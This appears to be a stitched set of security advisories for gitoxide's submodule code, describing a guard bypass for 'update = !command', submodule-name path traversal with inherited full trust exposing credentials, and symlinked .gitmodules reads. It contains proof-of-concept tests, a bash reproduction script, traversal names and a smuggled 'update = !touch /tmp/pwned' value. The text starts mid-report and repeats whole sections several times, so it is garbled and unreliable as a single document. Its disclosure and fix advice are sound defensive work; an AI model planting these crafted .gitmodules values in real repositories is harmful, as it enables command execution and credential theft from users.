• The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
• The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
• Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

• CI/forge integrations that auto-init submodules and then query the update mode
• Editor/IDE extensions using gix for submodule info
• Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

Summary

Submodule name validation bypass plus missing validation in production code paths allows path traversal via crafted .gitmodules. Combined with a trust inheritance flaw in Submodule::open(), this enables reading arbitrary git repository configs (including credentials) from traversed paths with full trust (CWE-22, CWE-200).

Details

Bug 1: Validation bypass in gix-validate/src/submodule.rs (lines 27-42)

The name() function uses name.find(b"..") which returns only the FIRST occurrence. If the first .. is embedded in a non-traversal context, the function returns Ok without checking subsequent ../ sequences:

pub fn name(name: &BStr) -> Result<&BStr, name::Error> {
    match name.find(b"..") {
        Some(pos) => {
            let &b = name.get(pos + 2).ok_or(name::Error::ParentComponent)?;
            if b == b'/' || b == b'\\' {
                Err(name::Error::ParentComponent)
            } else {
                Ok(name)  // Returns Ok without checking rest of string
            }
        }
        None => Ok(name),
    }
}

Bypass: a..b/../../../.git/ passes because find(b"..") returns position 1 (the .. in a..b), checks name[3] == b'b', and returns Ok. The real /../../../ is never checked.

Bug 2: Validation never called in production

gix_validate::submodule::name() has zero production callers (only test code). The names() iterator in gix-submodule/src/access.rs:29 explicitly documents it returns "unvalidated names."

git_dir() at gix/src/submodule/mod.rs:198-204 constructs filesystem paths from raw names:

pub fn git_dir(&self) -> PathBuf {
    self.state.repo.common_dir().join("modules").join(gix_path::from_bstr(self.name()))
}

Bug 3: Trust inheritance bypass in Submodule::open()

At gix/src/submodule/mod.rs:270, open() clones the parent repository's options:

match crate::open_opts(self.git_dir_try_old_form()?, self.state.repo.options.clone()) {

The parent's options.git_dir_trust is Some(Trust::Full). At gix/src/open/repository.rs:103-104:

if options.git_dir_trust.is_none() {
    options.git_dir_trust = gix_sec::Trust::from_path_ownership(&git_dir)?.into();
}

Since trust is already Some(Full), the ownership check is skipped entirely. The traversed path is opened with Trust::Full regardless of ownership, bypassing gitoxide's safe-directory protections.

PoC

Compiled and executed in Rust 1.94.1 --release mode. All bypass cases confirmed:

BYPASS a..b/../../../.git/           -> PASSED validation
       git_dir = .git/modules/a..b/../../../.git/
       normalized = .git/              (parent repo!)

BYPASS x..y/../../../.git/config     -> PASSED validation
       git_dir = .git/modules/x..y/../../../.git/config
       normalized = .git/config

Attack chain

1. Attacker crafts a repository with .gitmodules:

   [submodule "x..y/../../.."]
       path = innocent
       url = https://attacker.com/repo.git
   

2. Victim clones the repository using a tool built on gitoxide.

3. When the tool iterates submodules and calls submodule.open() or submodule.status():

   • git_dir() returns .git/modules/x..y/../../.. which resolves to the parent .git/
   • open_opts() is called with Trust::Full (inherited from parent, ownership check skipped)
   • The parent's .git/config is fully parsed

4. The returned Repository object exposes all config values from the traversed path:

   • remote.origin.url (may contain https://user:token@github.com/...)
   • http.extraHeader (often Authorization: Bearer <token>)
   • credential.* sections
   • core.sshCommand

5. Accessible via standard API: repo.config_snapshot().string("http.extraHeader"), repo.find_remote("origin"), etc.

Impact

A crafted .gitmodules in a malicious repository causes gitoxide to open arbitrary git directories as submodule repositories with full trust, exposing their configuration including credentials. This is the same class of vulnerability as GHSA-7w47-3wg8-547c (path traversal), but through the submodule name vector with an additional trust bypass.

The trust inheritance is the critical amplifier: without it, the traversed path would undergo ownership checks that could block the attack. With it, any git directory reachable via ../ is opened with full trust.

Honest limitations

• The traversed path must be a valid git directory (HEAD, objects/, refs/ must exist)
• The victim's tool must call open() or status() on submodules (tools that only list submodules are not affected)
• Credential exposure requires the target config to contain embedded credentials
• Submodule operations currently require explicit user action

Suggested fix

1. Fix the validation to check ALL .. occurrences (iterate, not single find)
2. Call gix_validate::submodule::name() in git_dir() before constructing the path
3. Do NOT inherit git_dir_trust from parent when opening submodule repos -- always re-derive trust from path ownership

Severity

High. Network vector (via clone), requires user interaction (submodule operations). The trust bypass enables credential disclosure from traversed git directories. Confidentiality impact is high.

Summary

attachments: pocs.zip

Submodule names coming from .gitmodules are exposed as unvalidated names and are later reused to derive the submodule git directory as:

<superproject common_dir>/modules/<submodule name>

Because the submodule name is joined directly as a filesystem path component, a name such as ../../../escaped-target.git escapes .git/modules after normalization. The current implementation then uses that escaped path in both state() and open().

The updated PoC demonstrates the real sink, not just string construction:

• state() reports repository_exists=true for the traversed path;
• open() returns a repository whose normalized common_dir() matches the attacker-chosen repository outside .git/modules.

Root cause analysis

The relevant flow is:

1. gix-submodule/src/access.rs exposes unvalidated submodule names from configuration.
2. gix/src/submodule/mod.rs derives the git directory by doing common_dir().join("modules").join(name) with no confinement check.
3. gix/src/submodule/mod.rs uses that derived path during state resolution and repository opening.

There is no normalization-and-confinement step between “submodule name from configuration” and “filesystem path used for repository existence checks / open.” As a result, traversal segments in the submodule name directly influence which repository path is inspected and opened.

Reproduce steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F002.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F002/result.txt.

Key outputs are:

• submodule_name=../../../escaped-target.git
• derived_git_dir_raw=.../.git/modules/../../../escaped-target.git
• derived_git_dir_normalized=.../artifacts/escaped-target.git
• escaped_target=.../artifacts/escaped-target.git
• repository_exists=true
• submodule_opened=true
• opened_common_dir_normalized=.../artifacts/escaped-target.git
• normalized_git_dir_matches_target=true
• opened_common_dir_matches_target=true
• target_outside_modules_root=true

These outputs show that gitoxide is not only constructing a traversable path string. It is actually using the escaped path for repository existence checks and for opening a repository object.

Impact

Confirmed impact:

• a malicious submodule name can redirect submodule state inspection away from .git/modules/<name> to an attacker-chosen repository path outside .git/modules;
• Submodule::state() can report repository existence for the wrong repository;
• Submodule::open() can return a repository object backed by that attacker-chosen path.

This is best described as a path-traversal / repository-confusion issue in submodule repository resolution.

This report does not claim command execution from this behavior alone. The demonstrated impact is repository redirection: callers that enumerate, inspect, or operate on submodules can be steered into using the wrong repository.

Recommended fix

Two complementary fixes are advisable:

1. do not reuse raw submodule names as filesystem path fragments;
   • either use a validated/sanitized name for filesystem derivation,
   • or derive the storage path from a safe identifier instead of the user-controlled name;
2. add an explicit confinement check after path derivation;
   • normalize or canonicalize the candidate path,
   • verify that the result stays under <common_dir>/modules,
   • reject names that contain traversal segments, path separators, or any representation that can escape the modules root.

In short, submodule names may remain opaque configuration identifiers, but they should not be treated as trusted filesystem subpaths.

Summary

attachments: pocs.zip

When Repository::submodules() loads submodule metadata, it prefers the worktree .gitmodules file if that path exists. In the current implementation, the path is read with std::fs::read(), which follows symlinks. As a result, a repository can present a symlinked .gitmodules that points outside the repository, and gitoxide will parse the out-of-repository bytes as submodule configuration.

This is a repository-boundary violation. A caller using the high-level submodule API can believe it is reading repository-local submodule metadata, while the bytes are actually coming from an arbitrary file outside the repository tree.

Root cause analysis

The relevant flow is:

1. gix/src/repository/location.rs derives the worktree .gitmodules path as workdir/.gitmodules.
2. gix/src/repository/submodule.rs reads that path with std::fs::read(&path) and immediately parses the bytes as a submodule configuration file.
3. Repository::submodules() exposes the parsed entries through the high-level API.

The issue is not in the parser. The issue is that the worktree path is treated as an ordinary file without checking whether it is a symlink, and without checking whether the canonicalized target remains inside the repository worktree.

Because std::fs::read() follows symlinks, a malicious repository can cause gitoxide to ingest bytes from an attacker-chosen location outside the repository. The resulting Submodule objects then expose name, path, and url values derived from that external file.

Reproduction steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F001.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F001/result.txt.

Important outputs include:

• gitmodules_symlink=.../victim-repo/.gitmodules
• symlink_target=.../outside/modules.conf
• parsed_name=symlinked
• parsed_path=deps/symlinked
• parsed_url=https://attacker.example/symlinked.git

These outputs show that gitoxide parsed the submodule configuration from the symlink target outside the repository, not from repository-local bytes.

Impact

Confirmed impact:

• out-of-repository bytes can be injected into the result of Repository::submodules();
• callers can be misled about submodule metadata such as name, path, and url;
• any downstream workflow that uses those values to decide clone, fetch, update, or policy behavior is operating on attacker-controlled data that did not actually originate from the repository tree.

This report does not claim direct command execution from this code path by itself. The demonstrated impact is metadata injection across the repository boundary.

Recommended fix

A safe fix is to stop silently following symlinks for the worktree .gitmodules path in this loading path.

Reasonable options include:

1. use symlink_metadata() / lstatstyle checks and reject symlinked .gitmodules when loading from the worktree;
2. canonicalize the target and verify that it still resides under the repository worktree before reading it;
3. for security-sensitive callers, prefer loading .gitmodules from the index or HEAD tree rather than following the worktree path.

At minimum, the worktree path should not silently follow symlinks to arbitrary external files.

Summary

gix_submodule::File::update() is the API that gates whether an attacker-supplied .gitmodules file may set update = !<shell command>. The function is designed to return Err(CommandForbiddenInModulesConfiguration) unless the !command value came from a trusted local source (.git/config). Git CVE CVE-2019-19604 illustrates why this check is necessary.

However, the guard is implemented incorrectly: it checks whether any section with the same submodule name exists from a non-.gitmodules source; it does not verify that the update value came from that section.

Once a submodule has been initialized (any workflow that writes submodule.<name>.url to .git/config), and the attacker subsequently adds update = !cmd to .gitmodules, the guard passes while the command value falls through to the attacker-controlled file.

On an identical repository state, git submodule update aborts with fatal: invalid value for 'submodule.sub.update', while gix::Submodule::update() returns Ok(Some(Update::Command("touch /tmp/pwned"))).

The vulnerable code was introduced in https://github.com/GitoxideLabs/gitoxide/commit/6a2e6a436f76c8bbf2487f9967413a51356667a0.

Details

The vulnerable method is gix_submodule::File::update: https://github.com/GitoxideLabs/gitoxide/blob/main/gix-submodule/src/access.rs#L168-L193:

pub fn update(&self, name: &BStr) -> Result<Option<Update>, config::update::Error> {
    let value: Update = match self.config.string(format!("submodule.{name}.update")) {
        //                    ^^^^^^^^^^^^^^^^^^
        //  [A] Reads the value. gix_config::File::string() iterates sections
        //      newest-to-oldest; if the override section lacks `update`, it
        //      falls through to .gitmodules and returns the attacker value.
        //
        // https://github.com/GitoxideLabs/gitoxide/blob/main/gix-config/src/file/access/raw.rs#L76
        Some(v) => v.as_ref().try_into().map_err(|()| config::update::Error::Invalid {
            submodule: name.to_owned(),
            actual: v.into_owned(),
        })?,
        None => return Ok(None),
    };

    if let Update::Command(cmd) = &value {
        let ours = self.config.meta();
        let has_value_from_foreign_section = self
            .config
            .sections_by_name("submodule")
            .into_iter()
            .flatten()
            .any(|s| s.header().subsection_name() == Some(name) && !std::ptr::eq(s.meta(), ours));
            //  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
            //  [B] Checks only that SOME section with this name exists from a
            //      non-.gitmodules source. Does NOT check where [A]'s value
            //      came from.
        if !has_value_from_foreign_section {
            return Err(config::update::Error::CommandForbiddenInModulesConfiguration { ... });
        }
    }
    Ok(Some(value))
}

PoC

git submodule init copies submodule.$name.url and writes active = true into .git/config (init_submodule(), builtin/submodule--helper.c:438-517). It does not unconditionally copy update.

Since CVE-2019-19604, git rejects .gitmodules files that contain update = !cmd at parse time. However, init is a one-time operation - once the .git/config section exists, subsequent changes to .gitmodules are not re-inited.

So, the attack sequence is:

1. Attacker's repo ships a benign .gitmodules (no update key).
2. Victim clones and runs git submodule init -> .git/config contains:

   [submodule "sub"]
       active = true
       url = /tmp/sub-origin
   

3. Attacker pushes a new commit adding update = !cmd to .gitmodules.
4. Victim runs git pull -> .gitmodules now contains:

   [submodule "sub"]
       path = sub
       url = /tmp/sub-origin
       update = !touch /tmp/pwned
   

   while .git/config is unchanged.

This is the precise state that bypasses gitoxide's guard:

• The .git/config entry - even though it contains only url and active - causes append_submodule_overrides to create an override section. That section has foreign (non-.gitmodules) metadata, so the existence check at [B] returns true and the guard is disarmed.
• However, because that override section has no update key, the value lookup at [A] skips past it and falls through to the .gitmodules section, returning the attacker's !touch /tmp/pwned.

The bug is the mismatch between what [A] and [B] actually inspect: [A] asks "which section provides the update value?" (answer: .gitmodules), while [B] asks "does any trusted section exist for this submodule?" (answer: yes). A correct guard would ask the same question as [A].

Git itself would refuse to operate on this repository at the next git submodule update. The vulnerability is in gitoxide-based consumers that call Submodule::update() and trust its output.

Option 1: Unit test (verified - passes, confirming the bug)

Drop into gix-submodule/tests/file/mod.rs inside mod update:

#[test]
fn security_bypass_via_partial_override() {
    use std::str::FromStr;

    // Attacker-controlled .gitmodules
    let gitmodules =
        "[submodule.a]\n url = https://example.com/a\n update = !touch /tmp/pwned";

    // Post-`git submodule init` state: only `url` copied to .git/config
    let repo_config =
        gix_config::File::from_str("[submodule.a]\n url = https://example.com/a").unwrap();

    let module =
        gix_submodule::File::from_bytes(gitmodules.as_bytes(), None, &repo_config).unwrap();

    let result = module.update("a".into());
    // VULNERABLE: prints `Ok(Some(Command("touch /tmp/pwned")))`
    // SECURE:     should be `Err(CommandForbiddenInModulesConfiguration { .. })`
    eprintln!("{:?}", result);
}

$ cargo test -p gix-submodule security_bypass -- --nocapture
running 1 test
bypass result: Ok(Some(Command("touch /tmp/pwned")))
test file::update::security_bypass_via_partial_override ... ok

Option 2: End-to-end - git refuses, gitoxide accepts

Verified with git 2.51.2 and gix @ dd5c18d9e.

#!/bin/bash
set -e
cd /tmp
rm -rf evil-repo victim sub-origin 2>/dev/null || true

# --- Setup ---
mkdir sub-origin && cd sub-origin
git init -q && git commit -q --allow-empty -m init
cd /tmp

# --- [1] Attacker creates repo with BENIGN submodule ---
mkdir evil-repo && cd evil-repo
git init -q
git -c protocol.file.allow=always submodule add /tmp/sub-origin sub
git commit -q -m "add submodule (benign)"
cd /tmp

# --- [2] Victim clones and inits (passes git's .gitmodules validation) ---
git -c protocol.file.allow=always clone -q /tmp/evil-repo victim
cd victim
git submodule init
# .git/config now has: [submodule "sub"] active=true, url=..., NO update key
cd /tmp

# --- [3] Attacker adds malicious update to .gitmodules ---
cd evil-repo
cat >> .gitmodules <<'EOF'
	update = !touch /tmp/pwned
EOF
git commit -q -am "add malicious update"
cd /tmp

# --- [4] Victim pulls ---
cd victim
git pull -q

Final state:

--- .gitmodules:
[submodule "sub"]
        path = sub
        url = /tmp/sub-origin
        update = !touch /tmp/pwned
--- .git/config (submodule section):
[submodule "sub"]
        active = true
        url = /tmp/sub-origin

Upstream git on this state:

$ cd /tmp/victim && git submodule update
fatal: invalid value for 'submodule.sub.update'
$ echo $?
128
$ test -f /tmp/pwned && echo VULNERABLE || echo SAFE
SAFE

Gitoxide on the same state:

// /tmp/gix-repro/main.rs
let repo = gix::open("/tmp/victim")?;
for sm in repo.submodules()?.expect("submodules present") {
    println!("{}: {:?}", sm.name(), sm.update());
}

$ cargo run
sub: Ok(Some(Command("touch /tmp/pwned")))

The CommandForbiddenInModulesConfiguration guard never fires.

Impact

Direct

Any downstream code built on gix that:

1. Calls Submodule::update() to determine the update strategy, and
2. Trusts that Update::Command(_) is safe to execute (because CommandForbiddenInModulesConfiguration exists as the documented guard)

…will execute attacker-controlled shell commands on submodule update against a previously-initialized submodule.

gix itself does not currently ship a submodule update implementation, so there is no RCE in the gix CLI today. However:

• The Submodule::update() API is public at gix/src/submodule/mod.rs:108 and delegates directly to the vulnerable function.
• The error variant name (CommandForbiddenInModulesConfiguration) and test suite (valid_in_overrides at gix-submodule/tests/file/mod.rs:272) explicitly document this as the security boundary.
• Any third-party tool, IDE plugin, or CI integration building submodule-update on top of gix inherits this vulnerability.

Indirect / second-order

• CI/forge integrations that auto-init submodules and then query the update mode
• Editor/IDE extensions using gix for submodule info
• Gitoxide-based init equivalents - any tool that implements its own init (writing url to local config) creates the bypass state without needing the pull-after-init sequence

Summary

Submodule name validation bypass plus missing validation in production code paths allows path traversal via crafted .gitmodules. Combined with a trust inheritance flaw in Submodule::open(), this enables reading arbitrary git repository configs (including credentials) from traversed paths with full trust (CWE-22, CWE-200).

Details

Bug 1: Validation bypass in gix-validate/src/submodule.rs (lines 27-42)

The name() function uses name.find(b"..") which returns only the FIRST occurrence. If the first .. is embedded in a non-traversal context, the function returns Ok without checking subsequent ../ sequences:

pub fn name(name: &BStr) -> Result<&BStr, name::Error> {
    match name.find(b"..") {
        Some(pos) => {
            let &b = name.get(pos + 2).ok_or(name::Error::ParentComponent)?;
            if b == b'/' || b == b'\\' {
                Err(name::Error::ParentComponent)
            } else {
                Ok(name)  // Returns Ok without checking rest of string
            }
        }
        None => Ok(name),
    }
}

Bypass: a..b/../../../.git/ passes because find(b"..") returns position 1 (the .. in a..b), checks name[3] == b'b', and returns Ok. The real /../../../ is never checked.

Bug 2: Validation never called in production

gix_validate::submodule::name() has zero production callers (only test code). The names() iterator in gix-submodule/src/access.rs:29 explicitly documents it returns "unvalidated names."

git_dir() at gix/src/submodule/mod.rs:198-204 constructs filesystem paths from raw names:

pub fn git_dir(&self) -> PathBuf {
    self.state.repo.common_dir().join("modules").join(gix_path::from_bstr(self.name()))
}

Bug 3: Trust inheritance bypass in Submodule::open()

At gix/src/submodule/mod.rs:270, open() clones the parent repository's options:

match crate::open_opts(self.git_dir_try_old_form()?, self.state.repo.options.clone()) {

The parent's options.git_dir_trust is Some(Trust::Full). At gix/src/open/repository.rs:103-104:

if options.git_dir_trust.is_none() {
    options.git_dir_trust = gix_sec::Trust::from_path_ownership(&git_dir)?.into();
}

Since trust is already Some(Full), the ownership check is skipped entirely. The traversed path is opened with Trust::Full regardless of ownership, bypassing gitoxide's safe-directory protections.

PoC

Compiled and executed in Rust 1.94.1 --release mode. All bypass cases confirmed:

BYPASS a..b/../../../.git/           -> PASSED validation
       git_dir = .git/modules/a..b/../../../.git/
       normalized = .git/              (parent repo!)

BYPASS x..y/../../../.git/config     -> PASSED validation
       git_dir = .git/modules/x..y/../../../.git/config
       normalized = .git/config

Attack chain

1. Attacker crafts a repository with .gitmodules:

   [submodule "x..y/../../.."]
       path = innocent
       url = https://attacker.com/repo.git
   

2. Victim clones the repository using a tool built on gitoxide.

3. When the tool iterates submodules and calls submodule.open() or submodule.status():

   • git_dir() returns .git/modules/x..y/../../.. which resolves to the parent .git/
   • open_opts() is called with Trust::Full (inherited from parent, ownership check skipped)
   • The parent's .git/config is fully parsed

4. The returned Repository object exposes all config values from the traversed path:

   • remote.origin.url (may contain https://user:token@github.com/...)
   • http.extraHeader (often Authorization: Bearer <token>)
   • credential.* sections
   • core.sshCommand

5. Accessible via standard API: repo.config_snapshot().string("http.extraHeader"), repo.find_remote("origin"), etc.

Impact

A crafted .gitmodules in a malicious repository causes gitoxide to open arbitrary git directories as submodule repositories with full trust, exposing their configuration including credentials. This is the same class of vulnerability as GHSA-7w47-3wg8-547c (path traversal), but through the submodule name vector with an additional trust bypass.

The trust inheritance is the critical amplifier: without it, the traversed path would undergo ownership checks that could block the attack. With it, any git directory reachable via ../ is opened with full trust.

Honest limitations

• The traversed path must be a valid git directory (HEAD, objects/, refs/ must exist)
• The victim's tool must call open() or status() on submodules (tools that only list submodules are not affected)
• Credential exposure requires the target config to contain embedded credentials
• Submodule operations currently require explicit user action

Suggested fix

1. Fix the validation to check ALL .. occurrences (iterate, not single find)
2. Call gix_validate::submodule::name() in git_dir() before constructing the path
3. Do NOT inherit git_dir_trust from parent when opening submodule repos -- always re-derive trust from path ownership

Severity

High. Network vector (via clone), requires user interaction (submodule operations). The trust bypass enables credential disclosure from traversed git directories. Confidentiality impact is high.

Summary

attachments: pocs.zip

Submodule names coming from .gitmodules are exposed as unvalidated names and are later reused to derive the submodule git directory as:

<superproject common_dir>/modules/<submodule name>

Because the submodule name is joined directly as a filesystem path component, a name such as ../../../escaped-target.git escapes .git/modules after normalization. The current implementation then uses that escaped path in both state() and open().

The updated PoC demonstrates the real sink, not just string construction:

• state() reports repository_exists=true for the traversed path;
• open() returns a repository whose normalized common_dir() matches the attacker-chosen repository outside .git/modules.

Root cause analysis

The relevant flow is:

1. gix-submodule/src/access.rs exposes unvalidated submodule names from configuration.
2. gix/src/submodule/mod.rs derives the git directory by doing common_dir().join("modules").join(name) with no confinement check.
3. gix/src/submodule/mod.rs uses that derived path during state resolution and repository opening.

There is no normalization-and-confinement step between “submodule name from configuration” and “filesystem path used for repository existence checks / open.” As a result, traversal segments in the submodule name directly influence which repository path is inspected and opened.

Reproduce steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F002.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F002/result.txt.

Key outputs are:

• submodule_name=../../../escaped-target.git
• derived_git_dir_raw=.../.git/modules/../../../escaped-target.git
• derived_git_dir_normalized=.../artifacts/escaped-target.git
• escaped_target=.../artifacts/escaped-target.git
• repository_exists=true
• submodule_opened=true
• opened_common_dir_normalized=.../artifacts/escaped-target.git
• normalized_git_dir_matches_target=true
• opened_common_dir_matches_target=true
• target_outside_modules_root=true

These outputs show that gitoxide is not only constructing a traversable path string. It is actually using the escaped path for repository existence checks and for opening a repository object.

Impact

Confirmed impact:

• a malicious submodule name can redirect submodule state inspection away from .git/modules/<name> to an attacker-chosen repository path outside .git/modules;
• Submodule::state() can report repository existence for the wrong repository;
• Submodule::open() can return a repository object backed by that attacker-chosen path.

This is best described as a path-traversal / repository-confusion issue in submodule repository resolution.

This report does not claim command execution from this behavior alone. The demonstrated impact is repository redirection: callers that enumerate, inspect, or operate on submodules can be steered into using the wrong repository.

Recommended fix

Two complementary fixes are advisable:

1. do not reuse raw submodule names as filesystem path fragments;
   • either use a validated/sanitized name for filesystem derivation,
   • or derive the storage path from a safe identifier instead of the user-controlled name;
2. add an explicit confinement check after path derivation;
   • normalize or canonicalize the candidate path,
   • verify that the result stays under <common_dir>/modules,
   • reject names that contain traversal segments, path separators, or any representation that can escape the modules root.

In short, submodule names may remain opaque configuration identifiers, but they should not be treated as trusted filesystem subpaths.

Summary

attachments: pocs.zip

When Repository::submodules() loads submodule metadata, it prefers the worktree .gitmodules file if that path exists. In the current implementation, the path is read with std::fs::read(), which follows symlinks. As a result, a repository can present a symlinked .gitmodules that points outside the repository, and gitoxide will parse the out-of-repository bytes as submodule configuration.

This is a repository-boundary violation. A caller using the high-level submodule API can believe it is reading repository-local submodule metadata, while the bytes are actually coming from an arbitrary file outside the repository tree.

Root cause analysis

The relevant flow is:

1. gix/src/repository/location.rs derives the worktree .gitmodules path as workdir/.gitmodules.
2. gix/src/repository/submodule.rs reads that path with std::fs::read(&path) and immediately parses the bytes as a submodule configuration file.
3. Repository::submodules() exposes the parsed entries through the high-level API.

The issue is not in the parser. The issue is that the worktree path is treated as an ordinary file without checking whether it is a symlink, and without checking whether the canonicalized target remains inside the repository worktree.

Because std::fs::read() follows symlinks, a malicious repository can cause gitoxide to ingest bytes from an attacker-chosen location outside the repository. The resulting Submodule objects then expose name, path, and url values derived from that external file.

Reproduction steps

Use the attached PoC zip that contains the pocs/ workspace.

1. Unzip the PoC archive.

2. Enter pocs/F001.

3. Run:

   cargo run --quiet
   

4. Compare the output with pocs/F001/result.txt.

Important outputs include:

• gitmodules_symlink=.../victim-repo/.gitmodules
• symlink_target=.../outside/modules.conf
• parsed_name=symlinked
• parsed_path=deps/symlinked
• parsed_url=https://attacker.example/symlinked.git

These outputs show that gitoxide parsed the submodule configuration from the symlink target outside the repository, not from repository-local bytes.

Impact

Confirmed impact:

• out-of-repository bytes can be injected into the result of Repository::submodules();
• callers can be misled about submodule metadata such as name, path, and url;
• any downstream workflow that uses those values to decide clone, fetch, update, or policy behavior is operating on attacker-controlled data that did not actually originate from the repository tree.

This report does not claim direct command execution from this code path by itself. The demonstrated impact is metadata injection across the repository boundary.

Recommended fix

A safe fix is to stop silently following symlinks for the worktree .gitmodules path in this loading path.

Reasonable options include:

1. use symlink_metadata() / lstatstyle checks and reject symlinked .gitmodules when loading from the worktree;
2. canonicalize the target and verify that it still resides under the repository worktree before reading it;
3. for security-sensitive callers, prefer loading .gitmodules from the index or HEAD tree rather than following the worktree path.